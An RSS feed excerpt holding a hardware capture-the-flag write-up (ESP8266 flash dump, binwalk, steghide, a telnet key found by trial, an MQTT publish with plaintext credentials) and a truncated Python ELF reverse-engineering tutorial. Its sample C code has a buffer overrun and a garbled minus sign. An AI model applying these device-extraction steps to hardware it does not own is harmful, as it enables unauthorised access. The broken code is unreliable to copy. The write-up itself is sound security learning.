      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foy6lo2zm1d914z382i9i.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foy6lo2zm1d914z382i9i.jpeg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Break the Ice — Hardware CTF
&lt;/h3&gt;

&lt;h4&gt;
  
  
  SecureLayer7’s hardware CTF at Nullcon ’19, Goa
&lt;/h4&gt;

&lt;p&gt;Earlier this month at Nullcon Goa, we had the chance to attempt a hardware CTF challenge designed by the folks at &lt;a href="https://securelayer7.net" rel="noopener noreferrer"&gt;SecureLayer7&lt;/a&gt;. We weren’t able to solve it during the period of 2 days that we had (we had talks and parties to be at), but the SL7 guys were kind enough to let us keep the hardware and solve it back at home. Which we did, otherwise this write-up wouldn’t have happened :)&lt;/p&gt;

&lt;h3&gt;
  
  
  The Hardware
&lt;/h3&gt;

&lt;p&gt;So what’s this cryptic “hardware” I keep mentioning, you wonder? It’s an ESP8266 board — better known as a &lt;strong&gt;NodeMCU&lt;/strong&gt;. Here’s a picture.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzyfga2cyjlnkxg3enjj2.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzyfga2cyjlnkxg3enjj2.jpeg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Oh, and it came with a pretty OLED display too. So the obvious task at hand was to connect the display to the board. A quick search, and we found an (ever helpful) &lt;a href="https://www.instructables.com/id/Interface-LCD-Using-NodeMCU/" rel="noopener noreferrer"&gt;Instructables&lt;/a&gt; link with the image down below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwbmdl4pznzddnvu0w6u.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqwbmdl4pznzddnvu0w6u.jpeg"&gt;&lt;/a&gt;Not the same display, but it works&lt;/p&gt;

&lt;p&gt;Mind you, we struggled quite a bit at this seemingly trivial step, but hey we’re CS students ;)&lt;/p&gt;

&lt;p&gt;On connecting the device via USB, the board spins up a wireless hotspot called “Device-6”.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmkzrzsgtqbdus4z0riyx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmkzrzsgtqbdus4z0riyx.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We tried to connect to this, but it was password protected. We’ll get back to it later.&lt;/p&gt;

&lt;h3&gt;
  
  
  Flash dump analysis
&lt;/h3&gt;

&lt;p&gt;During one of the many web searches I made with regard to this board, an interesting tool showed up — &lt;a href="https://github.com/espressif/esptool" rel="noopener noreferrer"&gt;esptool&lt;/a&gt;. A Python utility to communicate with the ESP8266. Wonderful.&lt;/p&gt;

&lt;p&gt;This tool allows us to do a bunch of operations on the board, but what we’re actually interested in is reading the flash. After looking up the syntax for it, we arrived at:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

› sudo ./esptool.py -p /dev/ttyUSB0 -b 460800 read\_flash 0 0x400000 flash\_contents.bin
Serial port /dev/ttyUSB0
Connecting....
Detecting chip type... ESP8266
Chip is ESP8266EX
Features: WiFi
MAC: 84:f3:eb:05:83:1e
Uploading stub...
Running stub...
Stub running...
Changing baud rate to 460800
Changed.
4194304 (100 %)
4194304 (100 %)
Read 4194304 bytes at 0x0 in 100.8 seconds (333.0 kbit/s)...
Hard resetting via RTS pin...


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The command is fairly easy to understand, the &lt;code&gt;-p&lt;/code&gt; flag denotes the serial port of our device, &lt;code&gt;-b&lt;/code&gt; specifies the Baud rate and &lt;code&gt;read_flash&lt;/code&gt;, well, reads the flash starting at 0 till 0x400000 which is 4MB.&lt;br&gt;&lt;br&gt;
We faced a lot of trouble here, since we kept reading only upto 2MB. Why? Because that’s what the command on the Internet said.&lt;/p&gt;

&lt;p&gt;Anyway, we have our flash dumped into a file &lt;code&gt;flash_contents.bin&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;We then decided to run strings on the flash binary and peruse through the thousands of lines it had. Brilliant right? It was, actually. We found a bunch of interesting strings, along with what we guessed to be the wireless hotspot’s password. Spoiler alert: it was.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbzhhm61zqywsxdwweved.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbzhhm61zqywsxdwweved.png"&gt;&lt;/a&gt;The entire dump was 6000+ lines. Did we actually do this D:&lt;/p&gt;

&lt;p&gt;The go-to utility to (actually) analyze binaries is binwalk. The -e flag extracts the known file types it recognizes within the binary.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

› binwalk -e flash_contents.bin

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
283960 0x45538 Unix path: /root/.arduino15/packages/esp8266/hardware/esp8266/2.5.0/libraries/ESP8266WiFi/src/include/DataSource.h
289387 0x46A6B HTML document footer
291156 0x47154 HTML document header
291296 0x471E0 Unix path: /root/.arduino15/packages/esp8266/hardware/esp8266/2.5.0/cores/esp8266/abi.cpp
3145728 0x300000 Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 139733 bytes, 10 inodes, blocksize: 131072 bytes, created: 2019-02-25 09:14:19


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;We see a squashfs filesystem here. &lt;code&gt;binwalk&lt;/code&gt; creates a directory in your current path containing all the files and folders it managed to extract. &lt;code&gt;cd&lt;/code&gt;ing into our squashfs folder, we see this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsnon2tvmvts9pyhk40d8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsnon2tvmvts9pyhk40d8.png"&gt;&lt;/a&gt;:O&lt;/p&gt;

&lt;p&gt;Oooh yes. &lt;code&gt;cat&lt;/code&gt;ting the file, we see:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

› cat 1/Hidden.txt

######################################### Hints :) ########################################

---telnet server on esp

--Hunt the key to get MQTT creds
          -- 
--MQTT box

--Publish the correct message to get ^FLAG^

&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; PUBLISH..... DISPLAY.... SUBMIT.... :) &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Looking inside the directory named 2, we see another dir 3 containing a JPEG image and a file telling us about steganography.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4zs9bxs1mll05tixylc5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4zs9bxs1mll05tixylc5.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And the final directory 4 had nothing in it but a file with the string flag. Probably to show up as a false positive in the strings output of the flash dump.&lt;/p&gt;

&lt;h3&gt;
  
  
  Connecting to “Device-6”
&lt;/h3&gt;

&lt;p&gt;The first file we came across, containing the hints, mentioned a telnet server running on the board. But how do we reach it? Yep, via the wireless hotspot it exposes — “Device-6”. We authenticated using the PSK we found earlier.&lt;br&gt;&lt;br&gt;
On doing so, we’re prompted with a captive portal:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnwmpz3nyn9qapnqcn3go.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnwmpz3nyn9qapnqcn3go.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A few things can be done here, configure WiFi on the board, view some info about the board, and reset it. Let’s connect the ESP to our own SSID — like a mobile hotstpot.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa5ncnz83ezq603n4u0w9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa5ncnz83ezq603n4u0w9.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once that’s done, we should see the “Device-6” SSID disappear, indicating that the board is now connected to our own wireless hotspot. Another thing we notice is the board lights up, and so does our display!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7dexwc6lfutx8koqhv7w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7dexwc6lfutx8koqhv7w.png"&gt;&lt;/a&gt;That’s so sad. Alexa play Despacito.&lt;/p&gt;

&lt;h3&gt;
  
  
  The telnet server
&lt;/h3&gt;

&lt;p&gt;Once our host machine and the ESP are on the same network, we can &lt;code&gt;nmap&lt;/code&gt; our subnet to find our ESP’s IP.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F995ilvn8oxu0p675vy1j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F995ilvn8oxu0p675vy1j.png"&gt;&lt;/a&gt;nmap scan report&lt;/p&gt;

&lt;p&gt;We see an http server running, which was obviously the captive portal, and our telnet server on port 23.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

› telnet 192.168.43.223
Trying 192.168.43.223...
Connected to 192.168.43.223.
Escape character is '^]'.
Press Enter &amp;amp; sumbit your key :)
somekey
Wrong Key!!!


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;On connecting, we see a prompt asking for a key. And no, ‘sumbit’ was spelt that way ;)&lt;/p&gt;

&lt;p&gt;Where could this key possibly be? Well, the only unexplored part of this CTF so far is the image file we came across before. So… steganography.&lt;/p&gt;

&lt;p&gt;Although you won’t need it, I downloaded this Docker image for cracking stego — &lt;a href="https://hub.docker.com/r/dominicbreuker/stego-toolkit/" rel="noopener noreferrer"&gt;stego-toolkit&lt;/a&gt;. We then tossed the image under a bunch of steganography detection and breaking tools, but to no avail.&lt;/p&gt;

&lt;p&gt;After a good while &lt;code&gt;steghide&lt;/code&gt; gave us something:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

› steghide extract -sf 10071856.jpg            
Enter passphrase:


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This took &lt;em&gt;really&lt;/em&gt; long for us to figure but the password was the name of the image file itself. Urgh. On entering the password, we get a keys.txt file. Here’s what it looked like:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

So you guessed the password i think...

Nice!!!

Key is somewhere hidden in this strings ...

XH}&amp;lt;
TJJ\*
Y#pU
&amp;lt;g?/N
gr[i}5
&amp;gt;+h1
...snip...
jlW8B
yjbm
M4%'
tx;ZzL
3 k]
wPUf'rc
)Pz#
0AwN\
Lgr:J2
!H9u
4bSVy
(\*-C
nOf2E\

Aaaaaand key is not guessable ....

WARNING:Manual checking for correct key might take you 2 days to complete the challange!!


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Nearly 600 lines of gibberish. We guessed that one of these strings had to be they key for our telnet session. We tried to automate it, but the telnet session was very unstable. So being the madmen we were, we did it manually. We had all the time in the world. Off we went, copy/pasting the keys in batches of 5… and it worked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhtbf73ie4tgn4qy8onur.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhtbf73ie4tgn4qy8onur.png"&gt;&lt;/a&gt;yeet&lt;/p&gt;

&lt;p&gt;As the hint file mentioned, we had to connect to an MQTT instance somewhere and publish something for the flag. So this is what they were talking about.&lt;/p&gt;

&lt;p&gt;For those out-of-the-loop, &lt;a href="https://en.wikipedia.org/wiki/MQTT" rel="noopener noreferrer"&gt;MQTT&lt;/a&gt; is the protocol used in IoT based client-server interactions, among other things. Go read about it if you want to understand the next bit.&lt;/p&gt;

&lt;h3&gt;
  
  
  Capturing the flag
&lt;/h3&gt;

&lt;p&gt;To interact with the MQTT server, we’ll be using the &lt;a href="https://mosquitto.org" rel="noopener noreferrer"&gt;Mosquitto&lt;/a&gt; client. We then use the credentials and attempt to “publish” a message:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

› mosquitto_pub -h 'm16.cloudmqtt.com' -p 17551 -t 'inTopic/web/test' -u 'hchzbuhr' -P 'Sz4plHnlVnHc' -m '(^.^)'


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fru854rmjndmldo96f6ye.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fru854rmjndmldo96f6ye.png"&gt;&lt;/a&gt;UwU&lt;/p&gt;

&lt;p&gt;After messing around with this for quite a bit (as is evident from the screen behind), we tried sending the string ‘flag’ as our message and… *dramatic pause* we got what you’d expect.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4szdq96odrv4r27atcei.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4szdq96odrv4r27atcei.jpeg"&gt;&lt;/a&gt;We were 10 days late, mind you&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;This was our first time playing a hardware CTF, and to be honest, there wasn’t &lt;em&gt;much&lt;/em&gt; of “hacking” involved — at least by the word’s textbook definition. A lot of guesswork too, which made some parts of it excruciatingly painful to figure out. But all things considered, it was probably the most fun CTF I’ve played yet. Here’s a shoutout to the folks at SL7 for making this CTF &lt;em&gt;and&lt;/em&gt; letting us keep the ESP :)&lt;/p&gt;

&lt;p&gt;That’s it. The end.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;P.S.: Big thanks to Raghav (info below) for helping me solve this CTF&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I’m Raghav, a CS undergrad, focusing on hardware security. I go by “vologue” on the Internet.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Links
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/vologue" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/in/raghav-pillai-3a486a12b" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/raghav_va" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;I’m Anirudh, also a CS undergrad, focusing on offensive security and digital forensics. I go by “icyphox” on the Internet.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Links
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/icyphox" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://icyphox.sh" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/icyphox" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Feel free to shoot me a mail at &lt;a href="//mailto:icyph0x@pm.me"&gt;icyph0x@pm.me&lt;/a&gt;.&lt;/p&gt;




</description>
      <category>hardware</category>
      <category>hacking</category>
      <category>ctf</category>
      <category>security</category>
    </item>
    <item>
      <title>Python for Reverse Engineering #1: ELF Binaries</title>
      <dc:creator>Anirudh</dc:creator>
      <pubDate>Thu, 07 Feb 2019 18:59:09 +0000</pubDate>
      <link>https://dev.to/icyphox/python-for-reverse-engineering-1-elf-binaries-1fo4</link>
      <guid>https://dev.to/icyphox/python-for-reverse-engineering-1-elf-binaries-1fo4</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy6bl67ypeoecjhmo4vcl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy6bl67ypeoecjhmo4vcl.png"&gt;&lt;/a&gt;That’s radare2. No, our scripts don’t look anything like this :(&lt;/p&gt;

&lt;h4&gt;
  
  
  Building your own disassembly tooling for — that’s right — fun and profit
&lt;/h4&gt;

&lt;p&gt;While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.&lt;/p&gt;

&lt;p&gt;Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup
&lt;/h3&gt;

&lt;p&gt;As the title suggests, you’re going to need a Python 3 interpreter before&lt;br&gt;&lt;br&gt;
anything else. Once you’ve confirmed beyond reasonable doubt that you do,&lt;br&gt;&lt;br&gt;
in fact, have a Python 3 interpreter installed on your system, run&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

$ pip install capstone pyelftools


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;where capstone is the disassembly engine we’ll be scripting with and pyelftools to help parse ELF files.&lt;/p&gt;

&lt;p&gt;With that out of the way, let’s start with an example of a basic reversing&lt;br&gt;&lt;br&gt;
challenge.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

/\* chall.c \*/

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int main() {
   char \*pw = malloc(9);
   pw[0] = 'a';
   for(int i = 1; i &amp;lt;= 8; i++){
       pw[i] = pw[i — 1] + 1;
   }
   pw[9] = '\0';
   char \*in = malloc(10);
   printf("password: ");
   fgets(in, 10, stdin); // 'abcdefghi'
   if(strcmp(in, pw) == 0) {
       printf("haha yes!\n");
   }
   else {
       printf("nah dude\n");
   }
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Compile it with GCC/Clang:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

$ gcc chall.c -o chall.elf


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Scripting
&lt;/h3&gt;

&lt;p&gt;For starters, let’s look at the different sections present in the binary.&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

# sections.py

from elftools.elf.elffile import ELFFile

with open('./chall.elf', 'rb') as f:
    e = ELFFile(f)
    for section in e.iter\_sections():
        print(hex(section[’sh\_addr’]), section.name)


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

› python sections.py
0x238 .interp
0x254 .note.ABI-tag
0x274 .note.gnu.build-id
0x298 .gnu.hash
0x2c0 .dynsym
0x3e0 .dynstr
0x484 .gnu.version
0x4a0 .gnu.version\_r
0x4c0 .rela.dyn
0x598 .rela.plt
0x610 .init
0x630 .plt
0x690 .plt.got
0x6a0 .text
0x8f4 .fini
0x900 .rodata
0x924 .eh\_frame\_hdr
0x960 .eh\_frame
0x200d98 .init\_array
0x200da0 .fini\_array
0x200da8 .dynamic
0x200f98 .got
0x201000 .data
0x201010 .bss
0x0 .comment
0x0 .symtab
0x0 .strtab
0x0 .shstrtab


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Most of these aren’t relevant to us, but a few sections here are to be noted. The .text section contains the instructions (opcodes) that we’re after. The .data section should have strings and constants initialized at compile time. Finally, the .plt which is the Procedure Linkage Table and the .got, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.&lt;/p&gt;

&lt;p&gt;Since we know that the .text section has the opcodes, let’s disassemble the binary starting at that address.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

# disas1.py

from elftools.elf.elffile import ELFFile
from capstone import \*

with open('./bin.elf', 'rb') as f:
    elf = ELFFile(f)
    code = elf.get\_section\_by\_name('.text')
    ops = code.data()
    addr = code['sh\_addr']
    md = Cs(CS\_ARCH\_X86, CS\_MODE\_64)
    for i in md.disasm(ops, addr):        
        print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op\_str}')


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The code is fairly straightforward (I think). We should be seeing this, on running&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

› python disas1.py | less      
0x6a0: xor ebp, ebp
0x6a2: mov r9, rdx
0x6a5: pop rsi
0x6a6: mov rdx, rsp
0x6a9: and rsp, 0xfffffffffffffff0
0x6ad: push rax
0x6ae: push rsp
0x6af: lea r8, [rip + 0x23a]
0x6b6: lea rcx, [rip + 0x1c3]
0x6bd: lea rdi, [rip + 0xe6]
**0x6c4: call qword ptr [rip + 0x200916]**
0x6ca: hlt
... snip ...


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The line in bold is fairly interesting to us. The address at [rip + 0x200916] is equivalent to [0x6ca + 0x200916], which in turn evaluates to 0x200fe0. The first call being made to a function at 0x200fe0? What could this function be?&lt;/p&gt;

&lt;p&gt;For this, we will have to look at &lt;strong&gt;relocations&lt;/strong&gt;. Quoting &lt;a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html" rel="noopener noreferrer"&gt;linuxbase.org&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To try and find these relocation entries, we write a third script.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

# relocations.py

import sys
from elftools.elf.elffile import ELFFile
from elftools.elf.relocation import RelocationSection

with open('./chall.elf', 'rb') as f:
    e = ELFFile(f)
    for section in e.iter\_sections():
        if isinstance(section, RelocationSection):
            print(f'{section.name}:')
            symbol\_table = e.get\_section(section['sh\_link'])
            for relocation in section.iter\_relocations():
                symbol = symbol\_table.get\_symbol(relocation['r\_info\_sym'])
                addr = hex(relocation['r\_offset'])
                print(f'{symbol.name} {addr}')


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type RelocationSection. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

› python relocations.py
.rela.dyn:
 0x200d98
 0x200da0
 0x201008
\_ITM\_deregisterTMCloneTable 0x200fd8
**\_\_libc\_start\_main 0x200fe0**
\_\_gmon\_start\_\_ 0x200fe8
\_ITM\_registerTMCloneTable 0x200ff0
\_\_cxa\_finalize 0x200ff8
stdin 0x201010
.rela.plt:
puts 0x200fb0
